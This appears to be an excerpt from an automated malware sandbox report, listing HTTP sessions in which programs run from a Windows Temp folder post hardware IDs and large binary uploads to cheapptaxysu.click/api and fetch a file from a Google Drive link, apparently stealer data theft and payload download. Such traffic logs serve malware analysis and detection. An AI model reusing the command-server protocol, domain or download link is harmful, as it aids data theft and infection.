                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJ7tK40JWrUeip3a4%2FJ9DFJUtPcJZWYsW4DznEDzvIpLfHVlAsCX4Gmocwq7QhlOzkajr%2FVcKI6ikOeaPYNh6sZ7h3wrK6zyGeoU12VPukl676gaUlsVXr6fxyNcaL9dAPI9ajU%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f577488f9dc433d-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2630&min_rtt=2490&rtt_var=1033&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9768&delivery_rate=1172690&cwnd=252&unsent_bytes=0&cid=e081efa43bfd182b&ts=844&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:37 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:37 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  4192.168.2.449833104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:38 UTC364OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: multipart/form-data; boundary=BI1K9O4J8
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 20386
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:38 UTC15331OUTData Raw: 2d 2d 42 49 31 4b 39 4f 34 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 49 31 4b 39 4f 34 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 49 31 4b 39 4f 34 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 42 49 31 4b 39 4f 34 4a 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44
                                                                                                                                                                                                                                                                                  Data Ascii: --BI1K9O4J8Content-Disposition: form-data; name="hwid"EF0A84DC8EFCB5E6AC8923850305D13E--BI1K9O4J8Content-Disposition: form-data; name="pid"3--BI1K9O4J8Content-Disposition: form-data; name="lid"CZJvss--geopoxid--BI1K9O4J8Content-D
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:38 UTC5055OUTData Raw: 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29
                                                                                                                                                                                                                                                                                  Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:40 UTC1142INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:40 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=bjl7644cpc6nap1fdla3k10njj; expires=Wed, 16 Apr 2025 05:02:18 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y%2BRQbVePAJlNhdJubtSRBUYXWvt4K%2F0TylVHKdmc%2FXjL2nBJDaHGCUmWBw4HNSbITvjpjB%2FnRzaXD5%2BImnYQiqlgwLbNXtbsMW%2F108jIS0j3VoHwn77r73eBRHkr4%2FAyC%2FaXnJM%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f577497383b41a9-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2366&min_rtt=2365&rtt_var=890&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2843&recv_bytes=21430&delivery_rate=1227922&cwnd=209&unsent_bytes=0&cid=5ca7639c9731415a&ts=1715&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:40 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:40 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  5192.168.2.449842104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:41 UTC369OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: multipart/form-data; boundary=052ZCT1NTXF1P96
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 1284
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:41 UTC1284OUTData Raw: 2d 2d 30 35 32 5a 43 54 31 4e 54 58 46 31 50 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 35 32 5a 43 54 31 4e 54 58 46 31 50 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 35 32 5a 43 54 31 4e 54 58 46 31 50 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 30 35
                                                                                                                                                                                                                                                                                  Data Ascii: --052ZCT1NTXF1P96Content-Disposition: form-data; name="hwid"EF0A84DC8EFCB5E6AC8923850305D13E--052ZCT1NTXF1P96Content-Disposition: form-data; name="pid"1--052ZCT1NTXF1P96Content-Disposition: form-data; name="lid"CZJvss--geopoxid--05
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:42 UTC1128INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:42 GMT
                                                                                                                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Set-Cookie: PHPSESSID=90ajst5ql5eh9ss6vph5ihgdtq; expires=Wed, 16 Apr 2025 05:02:21 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                                  Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                                  Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  X-Frame-Options: DENY
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                                  vary: accept-encoding
                                                                                                                                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YJToz%2BYqdntCmSgxLscCajTEbVsRa077jTEqV1DHpUOnOlyPOvG%2BpR8ov5l7NLsHLS1YsgHAl9pnWnqlY2KCu%2B0UmOwWszMznIBMfQzkQQIIWlyduA4zbZtAMaqKF85qlBujpWQ%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                                                                                                                                  CF-RAY: 8f5774ac1b8e7295-EWR
                                                                                                                                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=2042&min_rtt=1993&rtt_var=783&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2289&delivery_rate=1465127&cwnd=206&unsent_bytes=0&cid=f6e242f4a2376c33&ts=894&x=0"
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:42 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:42 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  6192.168.2.449846172.217.17.464433248C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:43 UTC150OUTGET /uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: FileDownloader
                                                                                                                                                                                                                                                                                  Host: drive.google.com
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC1319INHTTP/1.1 303 See Other
                                                                                                                                                                                                                                                                                  Content-Type: application/binary
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                                                                  Pragma: no-cache
                                                                                                                                                                                                                                                                                  Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:43 GMT
                                                                                                                                                                                                                                                                                  Location: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
                                                                                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000
                                                                                                                                                                                                                                                                                  Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
                                                                                                                                                                                                                                                                                  Content-Security-Policy: script-src 'report-sample' 'nonce-ZKEz5EZaNdtT-Id2euEFbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
                                                                                                                                                                                                                                                                                  Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
                                                                                                                                                                                                                                                                                  Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*
                                                                                                                                                                                                                                                                                  Cross-Origin-Opener-Policy: same-origin
                                                                                                                                                                                                                                                                                  Server: ESF
                                                                                                                                                                                                                                                                                  Content-Length: 0
                                                                                                                                                                                                                                                                                  X-XSS-Protection: 0
                                                                                                                                                                                                                                                                                  X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                                                                  X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  7192.168.2.449853104.21.67.1464438036C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC364OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                                                                                                                  Content-Type: multipart/form-data; boundary=CCBHJ3TN
                                                                                                                                                                                                                                                                                  Cookie: __cf_mw_byp=krR5sxDNE9FUa.r1_N2PJQUMG47JPl6SF8wl79F24pI-1734779729-0.0.1.1-/api
                                                                                                                                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                                  Content-Length: 568140
                                                                                                                                                                                                                                                                                  Host: cheapptaxysu.click
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 2d 2d 43 43 42 48 4a 33 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 30 41 38 34 44 43 38 45 46 43 42 35 45 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 43 42 48 4a 33 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 43 42 48 4a 33 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 67 65 6f 70 6f 78 69 64 0d 0a 2d 2d 43 43 42 48 4a 33 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f
                                                                                                                                                                                                                                                                                  Data Ascii: --CCBHJ3TNContent-Disposition: form-data; name="hwid"EF0A84DC8EFCB5E6AC8923850305D13E--CCBHJ3TNContent-Disposition: form-data; name="pid"1--CCBHJ3TNContent-Disposition: form-data; name="lid"CZJvss--geopoxid--CCBHJ3TNContent-Dispo
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 5f 7d c5 ee 33 1d f1 15 18 90 62 4e 00 7c 1b 3c 8b 79 f8 8d 9d 47 f9 66 23 0e 7f 83 c5 19 97 ff cf 08 20 0f a9 c0 23 bf 0d c1 fd 20 ce 90 9a eb 07 98 b9 7c e0 34 1c 10 19 82 e3 1e 95 ad 75 f0 9b d9 8f d9 50 0c 59 29 e6 45 f9 d2 67 d7 52 7e e7 4d b5 8c 40 d0 5e be 3d 67 ad 0f b4 b6 5d f2 7e 1e e7 f5 bc 5a c4 d3 03 47 68 13 6f 8e d6 68 e0 72 dc 6b 92 d5 f2 2f ff c0 0f 84 49 a2 5b ef 53 98 8b ec 99 2f 7f 6d 6b c7 52 ca e3 14 cc f3 be e1 ce 68 a6 37 fa 28 83 ce 27 f4 c0 f7 ca b5 4a 22 61 6c 33 e7 dd a5 41 ab a6 9d fc 1e 34 e5 64 88 49 ca f2 d5 f6 c5 bf c5 70 44 82 ea 4d c4 c2 84 c4 6d cd e8 51 53 b9 ac fe 30 44 de e4 f2 75 b0 cd f9 6e 69 ff 55 be ba 8f 3f 07 24 2d 8d 30 27 4e 3b ef 7a 92 8a fa 0f c5 d6 55 28 5d 6b a1 66 50 29 6e e8 37 42 f9 98 24 9f 33 89 cf
                                                                                                                                                                                                                                                                                  Data Ascii: _}3bN|<yGf# # |4uPY)EgR~M@^=g]~ZGhohrk/I[S/mkRh7('J"al3A4dIpDMmQS0DuniU?$-0'N;zU(]kfP)n7B$3
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: b1 81 97 0b bb 83 93 f0 c1 5e a2 e5 0e 5f e9 f5 5f fd af bf b5 a9 72 8f a8 a9 29 94 04 43 c5 21 a6 10 63 36 17 0f b6 ed f8 57 8b a5 d6 45 20 06 e9 bf 23 d7 e7 5f 82 a4 99 ff 0e b1 ce cd d6 f0 06 34 12 12 40 9c 22 ff 5f 83 a6 a5 fa fb 44 4d 20 02 0e 63 78 27 f7 ec ee 03 d2 fb 69 aa 08 1c 5f bf be 4f b6 51 26 19 aa 5e dd 59 d7 2f 57 29 05 16 1b 6f 40 be a2 cf d2 8f ab 89 b6 7f 44 5f c9 be cf db f3 17 50 04 e3 ea 09 3f 8f ff 69 2b 88 ac 43 0e b4 78 eb 0f 82 14 5c 66 8c 4f 8f 42 b4 70 74 00 7c 6c 41 a5 88 23 bf ae ab e1 89 bb 6a c0 24 ec 26 3c e0 04 11 c1 87 a9 88 d7 a4 02 2d 8f dc bd 0d 3a 5b f2 a7 48 c5 f3 b5 6b f8 52 93 f4 9e 54 c4 48 09 99 cb 84 95 80 bd 03 2c 62 e2 3e 92 37 a7 80 19 81 04 b2 57 8f 27 f3 eb 37 d2 25 a0 09 ed 5a 72 83 7a 1d 25 7e 15 e9 7d
                                                                                                                                                                                                                                                                                  Data Ascii: ^__r)C!c6WE #_4@"_DM cx'i_OQ&^Y/W)o@D_P?i+Cx\fOBpt|lA#j$&<-:[HkRTH,b>7W'7%Zrz%~}
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 8f 95 15 2f 6b 32 91 38 44 b8 85 be 7d 9c 7c 23 37 0d d0 d5 88 54 1a 9a cc 8f e2 55 02 1e 58 ec fa 31 0d 4b 15 bc 53 8e 09 16 3c 85 c2 11 07 b8 86 07 07 71 1e 25 2a 2f 66 d9 0f 4d 3e f2 c0 ce 93 6f df bc fe 43 d7 cd 72 7e 08 3d d2 79 71 0e 10 af 40 44 85 a1 7c 14 70 6d 2b 78 f2 04 2e 05 f5 fa ff 9d 5a 6b 73 c1 5a bd 7d bf de a0 6d 17 ae 5f 8f 45 de 99 ad f6 e5 35 2b 3e e5 56 ed 85 f1 e2 5d 91 5f 28 ce 12 f5 b3 f4 6a 08 48 c4 41 6e 93 7b d7 ad 78 02 e4 81 f3 f7 39 52 44 0d 6e 28 ae 14 b5 2b 6f 97 1e f6 bb 84 c0 6b 34 bd 53 80 ac cb 52 5f 11 b2 a8 25 a5 8a e2 44 c0 1b 51 75 4b 90 d9 10 e2 0a 08 43 05 73 c3 72 62 23 d5 5a cf 18 fa 42 ea ff 44 bc 38 44 6a 01 98 45 34 3b 4e 0f b5 13 1c 5c fc e9 9e 8e 5e 3f b0 7f f7 46 dc ef 84 1a 32 3f e7 12 a1 a0 69 29 db 97
                                                                                                                                                                                                                                                                                  Data Ascii: /k28D}|#7TUX1KS<q%*/fM>oCr~=yq@D|pm+x.ZksZ}m_E5+>V]_(jHAn{x9RDn(+ok4SR_%DQuKCsrb#ZBD8DjE4;N\^?F2?i)
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 55 f2 c0 65 be fc d2 03 09 4e 21 a8 7f 04 13 f1 cd 23 42 28 e3 0a 0e e0 10 78 f6 4a 60 56 9f 5b 11 08 84 36 42 0b 19 fe 30 a8 1f 1a 19 19 08 87 f9 ad 6b f4 f2 33 2c 9a 1a 03 e9 e6 b4 df 27 c8 a6 47 8f 87 67 44 68 57 70 55 bc 11 0a ab 6f 95 ac c9 56 01 67 26 e5 21 a2 1b df f2 00 12 8f 08 94 be e5 6b e2 af 61 d8 16 a9 b9 56 e9 73 93 34 d1 7c 40 52 78 c2 c9 58 9f 3b 85 39 33 79 71 ff 7a ee 90 3a 66 38 f0 d1 e0 70 f0 b1 05 e5 ee 22 46 ab b6 98 9d b6 54 f3 42 30 e3 da 71 b2 d8 fa 6b 4d db 61 f9 d6 45 49 fb fa 30 0d d1 b6 72 4e 18 37 45 50 60 24 08 03 82 31 30 c6 36 e8 df 25 40 1f 59 30 12 03 b6 d1 b4 aa 73 c5 4e 31 98 70 44 ba 45 88 be 97 5d 33 f5 93 d0 b8 54 c1 eb 9c b7 f1 68 fb f3 02 cc 55 e1 83 76 a1 aa 7e 5b 46 b1 8e b9 78 ff 6f 15 c5 ff f7 05 c1 d9 48 78
                                                                                                                                                                                                                                                                                  Data Ascii: UeN!#B(xJ`V[6B0k3,'GgDhWpUoVg&!kaVs4|@RxX;93yqz:f8p"FTB0qkMaEI0rN7EP`$106%@Y0sN1pDE]3ThUv~[FxoHx
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: 5d 3c 3d 99 a5 81 87 e6 62 c6 ad 73 eb 22 78 2e 61 29 6c ad 0b 74 73 08 09 cf 48 7e 7c 25 de 17 49 35 40 60 8d 54 fc ba 65 c8 fc ea b2 6e c1 18 52 02 11 aa fd 7c 02 c4 70 4f 17 64 92 ce c3 c8 e7 bb 70 b0 cb a3 7a c0 4c c5 47 96 b7 9b 1c 24 9d 03 ec f7 b3 c5 59 4b 20 b5 8d 52 b1 16 38 0b 4e 83 29 77 45 31 a0 79 c5 94 ba 03 36 06 b5 32 2b 07 1e 28 df dd 1c d0 c5 10 51 15 6a 32 ee 79 bd 08 93 4d 19 63 dd 2a 3b 0b e4 ff a0 80 39 69 d3 9a 36 52 d0 be eb 08 0f da 1c 94 50 09 d1 26 0c cd 71 c0 30 1e 6e 41 02 cb 47 70 97 28 d8 5d b6 2c 4c 6f 37 ee 15 07 65 9b b7 f7 06 a0 80 06 fb 89 26 a2 b2 50 ab 88 10 3d a7 53 92 01 f5 1d 1c 2f 56 05 a7 19 ee 1f 36 d6 0f 3b 0e 6e 34 7d 48 39 3c ce 7e 54 99 a2 a2 4c cd 32 f8 a3 d0 77 74 28 ac 47 b4 f5 40 7a 7d 18 85 5a 87 cb b4
                                                                                                                                                                                                                                                                                  Data Ascii: ]<=bs"x.a)ltsH~|%I5@`TenR|pOdpzLG$YK R8N)wE1y62+(Qj2yMc*;9i6RP&q0nAGp(],Lo7e&P=S/V6;n4}H9<~TL2wt(G@z}Z
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:44 UTC15331OUTData Raw: e0 e7 e2 68 39 a8 5a a3 b7 59 52 71 3b d3 9b 16 5b 64 e1 47 13 2e 30 a5 0d db 14 c1 1d 94 04 87 e6 1e 02 d2 cd a9 69 bb a7 6f 5d ae 3b ae 28 53 de a8 ab 01 ba 79 82 f0 3b 8f d1 d3 68 fa db 8d 51 cb dc fe de 31 fe ef b6 d0 17 75 c2 75 ce 10 99 91 15 c0 7f cf dc b0 1f 49 5a e4 e7 fb 08 d3 e7 ad c3 f7 14 0c 71 ff c2 f1 8e eb 02 76 8c 32 e2 27 c4 a7 7a 05 d9 b6 80 fd 5d 96 08 34 3a 72 f7 90 f8 19 87 b9 d2 ac 2e 35 54 0d a5 05 ea 93 07 87 3e e2 92 0e 7a 19 6a f7 28 f6 39 96 ed 08 3d 23 4b ea 9b c0 a5 d7 e9 76 7e e5 0c 95 1f 8c 44 5a 8e 61 aa 1e 90 9e b3 7e 5a 5d 69 20 4d e3 f2 b7 6b 0c 8f 20 99 24 0a 2b dc 03 a1 dd 44 85 50 44 14 38 31 28 76 eb ae c5 f8 51 91 43 e2 47 57 9f cd 37 84 2a 90 bc 9a b4 4b 4c 28 bc d0 d0 e5 bb 67 3f fb 32 66 36 79 6b 09 0a a3 70 19
                                                                                                                                                                                                                                                                                  Data Ascii: h9ZYRq;[dG.0io];(Sy;hQ1uuIZqv2'z]4:r.5T>zj(9=#Kv~DZa~Z]i Mk $+DPD81(vQCGW7*KL(g?2f6ykp
